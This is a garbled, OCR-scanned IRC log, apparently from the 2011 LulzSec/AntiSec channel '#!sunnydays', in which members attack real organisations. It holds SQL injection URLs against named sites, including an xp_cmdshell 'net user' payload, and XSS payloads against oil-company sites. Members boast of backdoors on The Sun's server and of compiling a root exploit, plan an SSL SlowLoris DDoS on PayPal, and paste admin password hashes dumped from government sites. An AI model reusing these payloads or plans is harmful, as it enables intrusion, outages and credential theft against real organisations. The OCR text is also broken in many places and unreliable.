count columns you mean? 

yeah 

every parameter should be injectable 
oh lordy 
ie wtf 

22:54 < r-ID> 

http : //www . f edstats . gov/key_stats/i ndex . php?i d=DMDC ' and ' 1 ' = ' 1 
22:50 <@Sabu> is this bullshit is twitter sensoring me 

22:50 <©Sabu> You are over the daily limit for sending Tweets. Please wait a few 
hours a nd try ag ain. Learn more 

22:50 <^H^^| that's happened to me before Sabu 
22:50 <@Sabu> or we have a limit on twitter/ 
22:50 <@Sabu> oh ok 
22:50 <@Sabu> just making sure 




22; 
22; 
22; 
22; 



50 < 
50 < 
50 < 
50 < 




22: 52 <(asabu> _ 
RT/post no mor" 
22:52 <' 




hmm 

haha how many did you tweet? 
still down 

I got that limit when clearing my feed 

^^^^H^H can you post I passed my twitter limit so I can't 
o^tooa^Dut thanks for the loves ;) 

Hooking at f edstats 

ype them up even more 
do, sec 

its injectable at any rate 

toss at it cos im going to sleep in a moment 

was just posted in #antisec 

im doin it nao 
FUUUUUUUUUUUUUUUUU- 
BLIND injection 

AAAAAAAAAH 

done Sabu 
okay lets change 
you do my injection 
and i do this blind? 
kk 



D 
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22:54 
22:54 




#! sunnydays .log 
il tap that in the monrning tho 



55 <@Sabu> 
55 <(asabu> 



ah might as we11 have RTed 
oh well 

saw that too late 

Direct Messages: 250 per day. 

updates: 1,000 per day. The daily update limit is further 
broken down into smaller limits for semi-hourly intervals. Retweets are counted 
as updates. 

22:55 <©Sabu> Changes to Account Email: 4 per hour. 

22:55 <©Sabu> Following (daily): Please note that this is a technical account 
limit only, and there are additional rules prohibiting aggressive following 
behavior. You can find detailed page describing following limits and prohibited 
behavior on the Follow Limits and Best Practices Page. The technical follow limit 
is 1,000 per day. 

22:55 <@Sabu> Following (account-based): Once an account is following 2,000 
other users, additional follow attempts are limited by account-specific ratios. 
The Follow Limits and Best Practices Page has more information. 
22:55 <@Sabu> thanks 
22:55 <©Sabu> thats funny 

you haven't hit the daily limit, you've hit the hourly rate 

it's because the API is a piece of shit 
hey guise, can we see a way to offer some secure comm to Syrian 




22:57 <(<_ 

rebels? it seems tcx got off 
22:57 <' 
22:57 < _ 
22:58 <@Sabu>~coo 
22:58 < @Sabu> I'm starving 




when I got that limit, it took me a few hours only 
then it was fine 



22:58 
22:58 
22:59 
22:59 





23:01 
23:01 
23:01 
23:01 
23:02 
23:02 
23:02 < 
23:02 < 
23:02 < 
23:02 < 
23:03 < 
23:03 < 
23:03 < 
23:03 
23:03 
23:03 
23:04 
23:04 <' 
23:04 <' 
23:04 < 
23:05 < 
23:05 < 





i2p or jabber? 
what kind of communication? 
a vpn 

didnt work 

puts down my SQL syringe, goes chatting it up 

hmmmmm 

VPN no work. . . 
SSH tunnels 

^^^^ what are the requi rements for them? 

some Syrians tried an internal vpn 
but didnt work 

i heard syria contracted i rani an tech 
to monitor 

they wanted somekind of vpn i thought about the dial up offer 
probably some jabberd 

what are they blocking exactly? 

Syria is filtering manyy things actually 
if u remember the first i ran op 
i ran closed vpn connections 

let's put it differently - what are they not blocking? 

to outside 

(still doing something like that) 
can they SSH out 

probably if the server was not blacklisted 

i2p? 

hope the sun rises in the morning 

or why not jabber or is xmpp blocked as well? 
gonna go vape some weed till then :D 
Yum super lemon haze! 
suggested them to try jabber otr sessions 
well i guess they want conference though 
and that isnt ptr i think? 
otr* 

probably they could use proxies too 
but they r too paranoid right now 

One detective elaborates. "Officers on the scene report a broken 



23:05 <' 

glass, a box ot vintage wine, and what seems to be a family album strewn across 
the floor, containing images from days gone by, some containing handpainted 
portraits of Murdoch in his early days, donning a top hat and monocle." 
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#! sunnydays . log 

23:05 <^^H^^H Another officer reveals that Murdoch was found slumped over a 
particularly large garden hedge fashioned into a galloping horse. "His 
favourite", a butler, Davidson, reports. 



23:05 < 
questiorii ng 
23:05 <" 
23:05 < 
23:06 < 
23:06 < 
23:06 < 
23:06 < 
23:06 < 



Butler Davidson has since been taken into custody for further 

UN is discussing Syrian intervention 
A second half 

I think i2p may work 
w^^^ry, but they dont like the idea too much 
why not o_0 

since they want to reach the whole internet too 
so. .? 

there are outproxies.. 

:) 



rofl 

they mistrust i2p 
wel 1 , why? 

performance to use internet 

wel 1 

I think that when a government is blocking your communications, 
performance is the last thing you should be worrying about 
23:08 <' " ■ ■ .... 

23:09 ■ 

quit LPT ng timeout] 




i2p is technically not a big thing to rely on also to be honest 
kon j assi em-Al9BED09 . b- ras3 . mvw . gal way . ei rcom . net] has 




eip 



yeah i'm sceptic as well 
which is why i dont use it 
it's too new and untested imo 

same could be said for bitcoin. 
may give ppl a false sense of security 
only way to test it is by using it 

well some fail tests could drive to mass torture sometimes 

anyways.... i thought we could ask for donations to acquire 

offshore servers to start offering some support, probably many ppl would help in 
that case 

_ as some of you know, i was tortured when i was younger, so i would 
to offer some support 
anyways just saying 
"web Server Security Alert 
_ This website uses special security software that monitors 
network traffic and behavior, if you feel that you have caused this 
security error unintentionally, please contact the website administrator at the 
address below and be sure to include the reference ID in your message. 
23:20 <^|^H 1ulz 
23:20 <S^S 

http : / /www.w I rk. com/Page . cf m?Th read=Attorneys&SubTh read=Sear ch&Cr i te r i a=Yes&Name= 
ves&Fi rstName=&LastName=&Position=&DeptlD=l-l/**/0R/*Vl=l/**/AND/*-7W**/CHAR(9 
5)%2bCHARC33)%2bCHAR(64)%2bSUBSTRINGCCASTC(EXEC%20xp_cmdshel 1%20 ' net%20user ' )/**/ 
AS/**/varcharC3000)) ,0,343)%2bCHAR(95)%2bCHARC33)%2bCHAR(64)— &undergradSchoollD= 
O&LawSchool lD=0&LawGradYear= 



23:19 < 
like to 
23:19 < 
23:19 <' 
23:19 < 
suspicious 




23:21 
23:32 



23:39 
23:39 
23:39 
23:39 
lawsuit 
23:39 < 
23:39 < 
23:39 < 
23:43 <' 
23:44 ■ 

23:52 I 

— Day change 
00:07 <■ 
00:07 < 




anyone knows how to bypass? 

has quit [Ping timeout] 
ttp://www.upstreamonl i ne . com/1 i ve/arti cl e265055 . ece 
xss vulnerability - 

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 

they are the oil company currently embroiled in a 

if we can hit them with this 
we can fuck with them majorly 




?_? 

going to sleep now 

^^nownoiow^a^l 

Thu Jul 14 2011 
hm sabu? 
00:04 



pass from wfp.org 



,bye 

has quit [User quit: 



later! 190 email username 0 wfp.org) and 



00:07 < 
00:08 < 



00:05 
00:05 
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00:08 
00:08 
00:08 
00:08 
00:15 




asabu> 



00:05 
00:05 

what was that about? 
he quit now 



#! sunnydays.log 

hi thar :) 

opyright is now known as Co 



00:18 
00:18 



00:16 <@Sabu> 
<( 
<( 

00:19 <( 
00:20 <( 
00:20 <( 
00:20 <( 
food ai 



e IS giving us ftp control of wfp 
oh sweet, well., projects are increasing :) 
but uhm 

that does not look like an antisec target., 
wel 1 

Criticisms 

According to a leaked March 2010 UN report, up to half of the 
to Somalia has been diverted to corrupt contractors and 

can play with this 
obviously 

however... i think the public will be outraged anyway 
about stash . . 

well, could maybe bundle a mixed release? 
not today but for times of weak winds 
but would prepare it ASAP so we can fire it at will 
^^^^^^^^^^^^^^^1 has joined #!sunnydays 
ohai ^^H^^^^^^^^^^^^^ 
got sometrmig for you 
sec, query in a moment 
Sabu: first some thing for you 
it's murdoch, btw :p 

ORichRoma ©AnonymousIRC this just in. Rich Roma is working hard 

to get dox on s abu supporters to have them arrested. Pl33z helpz him :(((( 
02:46 <^^^^^M who's rich roma? 
02:46 <(3^^^m brb 
03:06 
http://vi( 
03:22 <<i 

03:23 

http : //www. statoi 1 . com/en/Search/Pages/def aul t . aspx?k=%3ClMG%20%22%22%22%3E%3CSCR 
I PT%3 Eal e r t%2 8%2 2 COCKH EAD%20SHITBASKET%2 2%2 9%3C%2 FSCRI PT%3 E%22%3 E%20&key=l&s= 




02:45 
02:46 




JeoTgoogl e . com/vi deopl ay?doci d=-6290096098420284422&hl=en 

7 



03:23 < 
03:24 < 
03:25 < 
03:25 < 
oil site 
03:27 < 
f ai 1 i ng 
03:27 < 
03:27 < 
03:28 < 
03:31 < 
03:31 < 




fasci nati ng 
stupid oil moguls can't do shit against XSS 

good ole xss 

maybe when ^^^^^ is around we can discuss how to rape this 

because then op Green Rights might kick some ass instead of 

xss alone usually doesnt help much tho :/ 

apparently they got further 
ah good then :) 

care for our new ifeds on anonops or rather not? 
you wanted to back out a bit., but from what i 



that doesnt seem to be that correct heh 



03:31 < 
03:32 < 




I'll take a seat if that's cool 
03:38 -ChanServ( 



see . 



tmesis added to #Buccaneers 



access list at level 3. 



gets you invite 




has quit [input/output error] 
■ has joined #!sunnydays 
nas quit [Ping timeout] 
has joined #!sunnydays 



03:33 
03:57 
04:25 
05:44 
05:44 
06:18 T 
06:18 < 

06:18 < 

http : //campai gnmoney . com/pol i ti cal /contri buti ons/mi chael -bar rett . asp?cycl e=08 
06:18 
06:18 
06:18 
06:18 
06:19 



or now 

want others to have this as well 




notyou just gave me this 
dont spread yet 

he's collecting more and will make a nice collection 
he can be doxxed throughly i suppose 
and then just published 
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06 
06 
06 
06 
06 
07 
07 
07 
pee 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 
08 



#! sunnydays . log 

19 <^H^^H for the lizards to annoy him :p 

20 <@Sabu>nere 

21 <@sabu> who is that? 



21 
21 
08 
09 
35 
r] 
41 
41 
41 
41 
41 
41 
41 
41 
41 
41 
41 
41 
42 
42 
42 
42 
42 
42 
42 
42 
42 
42 
42 
42 
43 
44 
44 
44 
44 
45 
45 
47 
47 
47 
47 
47 
48 
49 
"k" 
50 I 
lis 







08:51 

shells an 
09:02 < 
09:05 < 
09:07 < 
reboot" 
09:07 < 
09:07 < 
09:18 < 
09:21 < 
09:21 < 
09:21 < 
09:32 
09:32 
09:33 
09:40 



he's workig on it 
the paypal dude 

has quit [Ping timeout] 
has j oined #! sunnydays 
has quit [Connection reset by 

hahahahahah 
Sabu: 
Sabu : 

http : //extras . thesun . co . uk/wordpress/versi on . php 
it's up 
they fixed it 
rofl 

B^B^B [@Sabu] 

wooho! 
iey didn't notice 
cant believe that 
what do we do now 

Fol 

lol 

ni 

maybe we should clean it up a bit 
I had another sploit which was more harmless 
should wait for him 
yeah maybe 

but apparently. . they didnt notice shit heh 
check the tmp di r for our shit 
hehe 

its early yet they might only be starting to look at it 

sec ill brb 
but i 'd suggest 

clean shit up., but lets wait a bit 
we dont need to hurry obv 
ok 

wi 1 1 do 

3v we can deface, but had another idea 

i lost the url tho 
he'll be back soon i guess 
Ya i think i have it 

will probably need someone on sun to compile again 
1 "bet it was like 

"TF .. that box kinda crashed., dunno why?" — "ah just reboot" 

NEVER CHECKED 

changed the topic of #!sunnydays to: Sun Admins recovered our 
(^DacKooors, 

ups 

changed the topic of #! sunnydays to: Sun Admins recovered our 
ackdoors , lol | http://extras.thesun.co.uk/wordpress/version.php 

1 mac 

http: //w ww . expl oi t-db . com/expl oi ts/15245/ 
<^^^^BTF .. that box kinda crashed., dunno why?" — "ah just 

NEVER CHECKED 

classy sysadmins. 

sounds almost like the average high school sysadmin. 
haha 

WE HAVE JOY WE HAVE FUN WE HAVE ROOT ON MURDOCH'S SUN 

oh plz plz 

let this line come true :) 
haha I know! 
bet someone will do a nice remix too heh 
;d 

oh the sun runs on spare architecture 
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09:40 
09:40 
09:40 
09:40 
09:40 
09:41 < 
09:41 < _ 
installed 
09:41 
09:41 < 
09:41 < 
09:42 
09:42 
09:42 
09:42 
09:42 
09:42 
09:42 
09:42 
09:43 
back etc 
09:43 < 
09:43 < 
09:43 < 
09:43 < 
sunos root 
09:43 < 
09:44 
09:44 
09:45 
was owen 
09:57 < 
09:58 < 
09:58 < 
09:58 < 
09:58 < 
09:58 < 
09:59 < 
09:59 < 
09:59 < 
09:59 
09:59 
10:01 
10:01 
10:02 
exploit? 
10:02 
10:02 
10:03 
10:03 
10:03 < 
10:03 < 
10:04 < 
10:04 
10:05 
10:05 
10:05 
10:06 
10:06 
10:06 < 
10:06 
10:06 
10:06 
10:06 < 
10:06 
10:06 
10:06 
10:06 




#! sunnydays .log 
we compiled the last root exploit on intel 

x86 





at was likely the problem 
what assumed at least 

ok 

I wonder where the fuck we can get a spare sun box, with gcc 

i know someone who haz 
but cant use him 
:( 

fuck, need new connection all over lol 

why not? 

cause i know him IRL 
P 

you don't need to tell him the target 
still .. . 

just ask him to compile 

well, even if i would be ready to do so 

would at least take 2-3 days to get a hold of him and get stuff 
but no 

i dont make any connections to my RL ppl 
this is what keeps me safe 

he'd look weird at me too, if i asked him to compile a local 

exp all the sudden 
heh 

but hm, i actually have a netra in my basement 
but it's not installed so meh 

i think the easiest would probably to find some similar box which 

etore 

_ o'< 

ut 

i will get my netra out i guess 
and install it 
who knows 

we may need it again 
but this thing is sick 
it eats power like... i dunno 
all of the all other stuff 
and the noise 

my vacuum cleaner is less noisy 
lol 

netra? 

Sabu any chance you have a spare sun box to compile an 
yup netra . . xl or so 

http://sunstuff.org/hardware/systems/sun4/sun4u/Netraxl/ 
prob is 

the card is missing 
which is why i never installed it 

:/ 

theoretically i know how to get one 
but it's .. complicated 

FF915728.AB4DE763.842418lD.IP] has joined #!sunnydays 






chek topic 
jhahahah 

loving the lame admins :) 
LOLWAT? 

yup 

they RECOVERED them? 
so we are still IN? 
all up and running again 
i guess they simply rebooted 

BWHAHAHAHAHAHAHAHAHAHAHA 

yup 

Sorry, I am just awake, this is so lulzy 
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10:07 < 
SUN 

10:07 < 
10:07 < 
10:07 < 
10:07 < 
10:07 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:09 < 
10:09 < 
10:09 < 
10:09 < 
10:09 < 
10:09 < 
10:09 < 
10:09 < 
10:10 < 
10:11 < 
10:12 < 
admins t 
10:12 < 
10:13 
10:13 
10:13 
10:13 
10:13 
10:14 < 
10:14 
10:14 
10:15 
10:15 
10:15 
10:15 
10:15 
10:15 
10:15 
10:15 

10:16 _ 
http : //www 
10:16 < 
10:16 < 
10:16 < 
10:16 < 
10:16 
10:16 
10:16 
10:17 

10 : 17 

i nf rastruct 
10:17 
10:17 
10:17 
10:17 
10:17 
10:17 
10:17 
10:17 



05:25 < 



#! sunnydays .log 

WE HAVE JOY WE HAVE FUN WE HAVE ROOT ON MURDOCH'S 




05:25 < ^^^H oh p1z p1z 

05:25 < ^^^^1 let this line come true :) 

AAAAAA ^^^^^ 
wel 1 

had another sploit that was not so aggressive i think 
nttp : //www . expl oi t-db . com/expl oi ts/15245/ 
possibly this 
not 100% sure 
ut again., problem is 
Hmmmmmm 

gonna read that 
last exploizt might have failed 
caise it was compiled on x86 
while sun is spare 
ah true 

111 have to ask around 
see if anyone I know has a SPARC box 

yar 

I know theres one in the hackerspace, not sure if it works tho 
1 cant get one ready anytime soon 
i have a netra xl 
but it's not installed 
so mehg 

cant ask my contacts 
my IRL contacts that is 
too . . . dangerous : p 

if we ever root this shit... this will be fun 

cuz we certainly will disclose that we du goofed before., but 

e were so fucing dumb they didnt even realize a fucking alarm sirene 
heh 

probably we can crash it again, and they'll reboot tomorrow :p 
hehheheheh 

I'll ask around here 
yup. j/k obv we should be mor ecareful now 
but they gave it all back 
i havent checked teh other backdoors 
but my guess is 
it's as it was before :p 
oh also 

wiee^to talk to the ddos guys 

yes? 
dns thingy 
cause 

you need a DDoS done, or you need advice on one? 
or a method of doing? 

scmagazi ne . com . au/News/263634 , paypal -cso-cal 1 s-f or-anti sec-hunt . aspx 
we need to take paypal down i think 
he wants a free security audit 
we don't wanna give i think 
just get this fuck down! 
:p 

it would be even a trigger to revive operationpayback 
mobilize tons of btards 
more anonops promotion etc 

hmmmmm. Well, if we are gonna do a DDoS, we need to hit backend 










ure 




yup 

remember - hit them where they are WEAK 
and aim for SSL ports 
an elite ddos 

SSL socket DDOS + SlowLoris over SSL = RAPE 
not just hammering 
m aking ac tual legit requests, etc 

- I will do some thinking, got some ideas. Me and 
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are wo 








'vanned' (arrested), and if enough 
a significant reduction in the 






#! sunnydays .log 
rking on a proxy based SSL SLowLoris 
you know much more about that 
k :) 

well, a slowPost tool or slowLoris 
also talk to if you see him 

if done rigr^^^^ 
ill grab him f I see him :D 

also, recursive DNS server can be used to DDoS 
honestly, i dont worry much 
we have so many resources now 
we CAN take paypal down . . for a day or so 
if done correctly 

If we raep their backend, they may stay down for a week 
probably w/o a huge botnet even 
remember 

when we hit Mastercard 
their stock dropped 
a HUGE amount 
when we moved to Visa 
MC stock ROSE 
well in this case 

paypal expects hacks, they probably even set up a honeypot 
1 ets just ki 1 1 ' em 
^ aye, so killing them = good 

NO FREE SECURITY AUDIT FOR YOU! 

my line of thinking at least 
they don't expect ddos now :) 
but obv they are prepared 
heh waitone 

"They are terrified of being 
then I believe we'll start to see 
these groups," he said, 
heh 

so with a 500k botnet... you probably wont even get them down 

I hope they come a knocking 
yeah 

favorite quite 
knock knock BANG 
tweeted that :) 

TBH, I hope its not local cops who v& me 
I hope its someone more fun to uck over 
lol 

like FBI or united States Secret Service 
mean ^^^^^H 

you know^i^v^n as I do 
na gardai wont be ANY fun! 

haha 

I know what you mean 
aha i am pretty sure that if i should ever get snatched... it 

HELICOPTERS 

no call sign I 

i'm working hard on making them hate me enough 

to get an air strike? 
_ by a drone? 

1 i ke . . SWAT teams ropi ng down 
hmm drones 
yeah 

that may be an option now 
Like that scene 
from... what was it... 

ah yes, wargames 2. Dudes capping off rounds at the sky 
then "LOL, DRONE STRIKE" 
oh lawdy 

I spoke too soon :D 
saw a post in facebook 
"The shades are all over <hometown> 
probably my drug dealer neighbours again :d 
AnonymousIRC AnonymousIRC 
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10:30 < 
sploit: 
10:30 
10:30 
10:30 
10:30 < 
10:30 
10:30 

10:31 . 

world and newsi 
the redi rects i 




with a broken 
I #AntiSec 
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< 1 



#!sunnydays.log 
Backdooring a .gov server: 2h | Killing the box 
Admin rebooting box and all backdoors: Priceless 
21 seconds ago Favorite Reply Delete 
couldnt resist 
made it a gov server 
:p 

XD 

I LOVE MISINFO! 

epic! what im thinking is, if we get root, deface news of the 

ntTco.uk sites. I frame redirect the suns homepage then change all 
n the apache config file to the deface page 

DC9ElE08.870C7BEl.49E80F3.IP] has joined #!sunnydays 





an kk 

great to see you heh, havent talked to you since the "split" lol 
but as you can see., it doesnt matter 

- Different redirect for each page... Multi deface :D 
we are back 







ppl continue having lulz 
:D 

<3 

Lulz Boat Sails On 
hi man! 

TEll sail again ... it actually does 

0 

ONLY one missing is 

much lulz on the way 

damn, his shell died 
so did the seedbox 
not good :/ 

no esta bien 
yar, btw 

he was active on twitter 

http : //nyan . umad . bi z/comi cs/sun-sun . png 

are sailing out of dry dolk back into the open lulz seas 
I'm on 2600.com shell atm 
so dont trust me lol 

yep, or moreso, changing our flag :P 
yes but 
SunOS 
_ god fucking lol 

we DONT HAVE ROOT VET 
grrr 

- I know. . . 
anywa^^B and ^^^^ are in too? :D 
Yep 

yup 

all are 

only missed you actually :) 

g rabs his eyepatch. 
and ■■■■ who is on break 
we^^^^a better get myself some VPN. 
ut we're mainly pursuing antisec now 
DO we need our own VPS? 
hands bottle of 

_ sometimes hails tne 

well 

we have secure comms actually., maybe 
actually i like them very much 
set us up a server 
we should still raid a datacenter for our own hi speed storage 

it's actually in .cn .. and connect only possible with personal 
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# lsunnydays.log 

we all realize cn is far from safe eh? ;.; 
but fine ya could technically even run an ire in the usa 
_ tis not like they log convos 
well, itrust ■ tjho 
i really thinK i/we can 

IRC is ^^^B to log. I prefer china to USA 
ack. also we are ssl only, high port... 
no dns, obv 

and ""'every* connect is suspicious 

cause if you dont put in your personal password., it refuses 
assembled most of the crew already 
not on there atm as i am on a insecure shell 
box was shutdown today 

well not "insecure" but .. well i dont fully trust my shell atm 

also guys gonna paste some vpn providers, can you tell if 

roper or not? 

p-o is good 
rest i dont know 
p-p even 

airvpn.org, ovpn.to, cloakvpn.com, homevpn.com, leetnet.net, 
nternetaccess.com, vpn3000.com, vpnrocket.com, in-disguise.com 

perfect-privacy . com 
not cheap 

but i have., reasons to trust them 
a: not cheap 
b: bitcoin 
all payment goes 
you can even send cash 
BC not sure tho 

those i just pasted are the only ones that are supported by 

oh 

wel 1 

you MIGHT be able to pay with BC on p-p 
ask by mail 

but they at least offer a few anonymous payment methods 
but eh., how you've been doing? really missed you <3 
that shit was mad the last months 
im fine but vpn less :p 
upperdeck haha 

YOU FUCKERS! 
:P 

i blame sabu, tho :p 

well cant really help on vpn much, only that i am sure i am fine. 
BC vpns.. any you posted., no idea 

anyone else? 








may have a better idea 

e comes back 
i mean when 

looks like he's back pretty much 
yes? 

.1 know has a good one 

he's still Tree 
so i guess yes lol 

BTW we have an upperdeck chan here 

'•cough* 
do we? 
ol 

I just made it there 
for lulz and old times sake 
I gotta run 
battery dying 
kk 
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10:54 
10:54 
10:54 
10:54 
10:54 

10:54 < 

3816446dl80b3"; 
10:54 < 
10:54 < 
10:54 < 
10:54 < 
10:54 < 
10:54 < 
user_ni cename 
10:54 < 




al so 
02:10 
02:10 
02:10 
02:10 
02:10 
c2b27354" 
02:10 
02:10 
02:12 
02:13 
03:29 
03:29 
user_emaui 
03:29 




#! sunnydays .log 

owned: http://www.salud.gob.sv/ 
name: Administrator 
Username: Admin 
email 

passworc 

:x3CwOHhnkLFUzePA4nyPeuGJLPcqXz23 
usertype: Super Administrator 
mm that hash looks pretty secure though 
but thanks : ; ) 

;) 

http : //www . sep . gob . mx/ 

ID usuesrel ro_gloi ngi n user_pass user_pass 

ser_emai 1 

1 admin $P$95ZGKdR7eyJnQ8BRKRjE9i BDEYGNIs . 




$P$9YHTHCYUDnsA4aCvNel jaza I 
10:54 < 03:30 



2 admi ni strador 

vtm9/ ^^^^H^H 

3 transparenci a 



$P$9w7SoRHhG2bnEdTalSoPsYRpABtgaYl axel- 
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JgHwjoDssf 3f M3WSSR . PA/Of rDcl8K . 

5 agenda $P$90YhOCUfSQuwCCzms7LT5hzJ .8PCku. 

6 segpub $P$9rWlLjugF/C. jbjSWEAupA8T7T8Wgm. 

7 cultura $P$9RVsf3vlXuUu5CCrh2kilsHsso/mS2/ 

eed to dump that before it gets lost 
damn 

thecure dies? 

FF915728.AB4DE763.842418lD.IP] has quit [Ping timeout] 
FF915728.AB4DE763.842418lD.lP] has joined #!sunnydays 

mmmmmmm 
coffee 
still with beer 

D: you know about those vpns? 

- no, unfortunately 

I know HMA is good 
fu :( 

yeah but hma doesnt accept bitcoin 
lol 

Quit banning tor yer apes D: 

DONT COMPLAIN AT ME 
tis le truth 

_ I DO 

SHOUT AT IB 

YOU HAVE ANONYMOUSIRC 
wel 1 

Ol 

shouting at 

would only get my nick 
gl i ned 
: P 

aha noe 
qlined actually 
actually 




R changed 
e 




ecame a good admin 
dunno how 
aye 
hmmmm 
maybe 

the FBI taught him how2admin 

aha 

yay paranoia plus 
= NSA 
= Chinese govt intel 
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a can 




fix it! 



#! sunnydays .log 
pol i ce 



= dutch 
w^Te fucked 
derrrrrrrrrrp 
also, have you realized 
we sailed into the Murdoch Media 
non loaded with Reverse Shells, and 
yes 

they have no mateys who look out for things 
Their lulz are low, but their libel is laughable 
hmmm... there are holes in our wall, do we wonder why? no. just 



Ocean in the Lulz Boat, opened 
have STILL not been caught? 





XD 

lol , I recall 
patching up a 
. . . they then 
<3 all still 
a while to 



server l was in 
un patched it 




took 

XD 

but honestly, that how 
was away 2(?) months., 
i respect that sabu in 



share the love evenly though 



it works 
came back. . 
his choice. 



and . . 
would 



wel 1 

have done 



the same in 



1 guess 







earning anonymous trust is very hard., and losing it is very easy 
also, lol 

odd, I vanished for ages 
walked back in smiling 
then again 

1 kind alove how Sabu is suddenly the Luzsec leader and leader of 

I mi ssed HB gary : ( 
it's such a nice misconception 
yeah 

_ lulz pwn, join the club :P 
we need sth like this again :( 

suddenly |H started tweeting again 
so i wasl^<e 

thats a nice moment to start tweeting again too 
LOL I remember 

and moment s lat er i have a DM "JOIN IRC BITCH" 
yeah hahah.. couldnt stay away 

we all can't 

we just need back now :6 

oh and then tneconspi racy that i was start too <.< 
me and were talking, and he goes ' Imma tweet from 

next Avunit tweets :D 
hahaha oh that 
"^^^^1 was busted" 
so MANY believed that 

yeah i was monitoring twitter 
and like "Tweet from ^H^^^H - just now." 
i was 1 i ke 

I CAN DO THAT TOO BIATCH 
LOL 

it was the reason why i coulnt resist anymore 

Tweet from OAvunitAnon - just now." 
I f ergot to disable notifications on my twitter 
to tweet all lulzsec twitters and ask them to arrest us 
so once RT'ed me 
ucing idiots 

And once AnonlRC tweeted me 
I got BOMBED 
with emails 
o you trust ^7 
you^you guise 
iunno him 

Seems legit enough 
BTW 
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#! sunnydays .log 
anyone know where I can buy a monad e? 
and a top hat? 
lol 
hmmm 
_ LOL 

to sell on defcon? 
:D 

your local antique shop>? 
_ No man, if I fail my exams - ill meet y'all in Stockholm 
1 actually thought about selling lulzsec tshirts 
_ look for the Lulz Canon dude wandering about drunk :D 
hoodys 
on defcon 
:D 

i 'm pretty sure i won't be sued 

XD 

If you make one ill mail-order :D 
also, someone made a Lulzsec beer stein 

I want one! 

^■^^1 actually working on a very decent design 
pro^^^^ 

the ascii boat works fine., nbut the meme logo 

low resolutions 

has to be small .. or worked 

_ http://www.cafepress.com/+lulzsec+steins < 

need a SVG :p 

_ I want a friggin beer stein! 
heh 

OH LAWDY 

http : //www. caf epress . com/dd/56397665 
they has 
a whole sectuon 
for us 
yar 

obv we're not t he only one with this idea haha 

BUT 

we love that 

_ http: //www. cafepress.com/+hooded_sweatshi t^t.^HHIip 
let the lulzboat roll everywhere and whoever maKe^TT* with 
good for him :)= 

nigra, they are ON the hoodie front 
Fuck this im ordering one 
do they take LR? 
Fool 
or BTC 

I have a mail drop 
i want a top hat 
and monocle 
D: 
iaha 

please order one for me kk 



it 





epress . com/+l ul zsec_monocl e_guy_umad_shot_gl ass ,| 
. . . shot glasses 
srsly? ! 

Lulzsec themed bar is next 
ok i just gave thems erious promotion _:p 
or a Lulzsec laptop bag 
and NICE 

ttp : //twi tter . com/# ! /AnonymousIRC/status/91476648125407232 
111 RT you 

and get to RT from ©LulzSec 

m is asTCep that lame fuck :p 
^nl rt from my lil twitter 
RT from ALL my twitters 
im not touching avunitanon again :P 
the con spiracies will raise 
if we make an impact. 
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11:57 < 
11:57 < 

11:57 < 

http : / /www. caTepress . com 



#! sunnydays .log 
send us freebies ? 

XD 

How to become Unanonymous 
56397665 (via OAnonymousIRC) 

hahah 

THEY are lulzsec 

IT WAS THEM! 
XD 

i cant find proper monocles 
with a chain 
instead of a lil rope 
n shizzle 
D: 
:( 

ebay!?!?!? 

thezub See Conversation ©AnonymouslRC I would totally buy a top 
hat with a top hat on it. "Yo dawg, we heard you like top hats." #tophatception 





12:00 < 
12:00 < 
12:00 < 
12:00 < 
12:00 < 
12:00 
12:01 
12:01 < 
12:01 < 
12:01 
12:01 
12:01 
12:01 
12:01 

12:01 . 

Lulzsec, cyber, Sony, apt, 
won . 
12:02 < 
12:02 < 
12:02 
12:02 
12:02 
12:02 
12:02 
12:02 
12:02 
12:02 
12:02 
12:02 
12:03 < 
12:03 < 



lulz 

<3 twitter 

http : //www. thechap . net/ 

THAT 

i s my new 
favorite site 
LOL! ! 
EPIC 

what say you, chap? 
meanwhile 

ebay query: monocle 

FUCK YEAH 

CHECK EBAY 




infoSec Bingo words for this ISSA London vendor event: 
low-and-slow - just waiting for Anonymous and I've 



GAHH 

we need 
haaha 

^^■HB hasnt seen the comic i guess 

the sun one? 

^^^^^1 - I think he has 
amn 

YOU KNOW TOO MUCH! 
SUNOS 

ALL THE WAY MANG 
I can make more comics... 
I made a template for MS PAINT for myself 

wel 1 



12:03 < 

http : //cgi . ebay . COm/VICTORIAN-NICKLE-POCKET-MAGNIFIER-MONOCLE-LENS-CHAIN-/1505699 

04068?pt=LH_Def aul tDomai n_0&hash=i tem230eaa67c4 
12:03 < 

ORDERRRRR 

have an idea for second one and if we get root 
we need someone singing this line 




12:03 < 
12:03 < 
12:03 < 

12:03 < 

http : //cgi . ebay . com/Shi ny-vi ctori an-Pocket-Lens-Monocl e-MAGNlFYlNG-Gl ass-5x-/1606 
06561327?pt=LH_Def aul tDomai n_0&hash=i tem2564e5a42f 




12:03 < 
12:03 < 
12:03 < 
12:03 
12:03 



SHITWHERES MY CREDIT CARD 
or this one 
_ ARGH 

we have joy we have fun, we have root on Murdoch's sun! 
Need. Credit. Card! 

12:03 < 

http : //cgi . ebay . com/Gol d-vi ctori an-Coat-Chai n-Lens-Monocl e-MAGNlFYlNG-Gl ass-/1605 
9826655 9?pt=LH_De faul tDomai n_0&hash=i tem2 5646712bf 
12:04 < ^^^^^M Fuck this, need a lr->pp exchanger 
12:04 < ^^^^^ I have the pipe 
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12:04 < 
12:04 < 
12:04 < _ 
http://cgi . e 
12615733?pt 
12:04 
12:04 < 
12:04 < 
12:04 < 
12:04 
12:04 
12:04 
12:05 

12:05 _ 
http://cgi .e 
12615733?pt= 
12:05 < 
12:05 < 
12:05 < 
12:05 < 
12:05 < _ 
http://cgi .e 
516800?pt=LH 



#! sunnydays .log 
I need a top hat 
and an over coat 

ay.com/Victorian-Pocket-Chain-Lens-Monocle-MAGNIFYING-Glass-5x-/1606 
LH_Def aul tDomai n_0&var=&hash=i tem6blba87e99 

hat top hat 
years 





need a pipe, i 
got a top hat, 
he actually uses 
so id need a new 
awwwww 



havent smoked in ages 
but its @ my dads 
it 

one D: 



and my pipe is dead 



ay . com/vi ctori an-Pocket-Chai n-Lens-Monocl e-MAGNlFYlNG-Gl ass-5x-/1606 
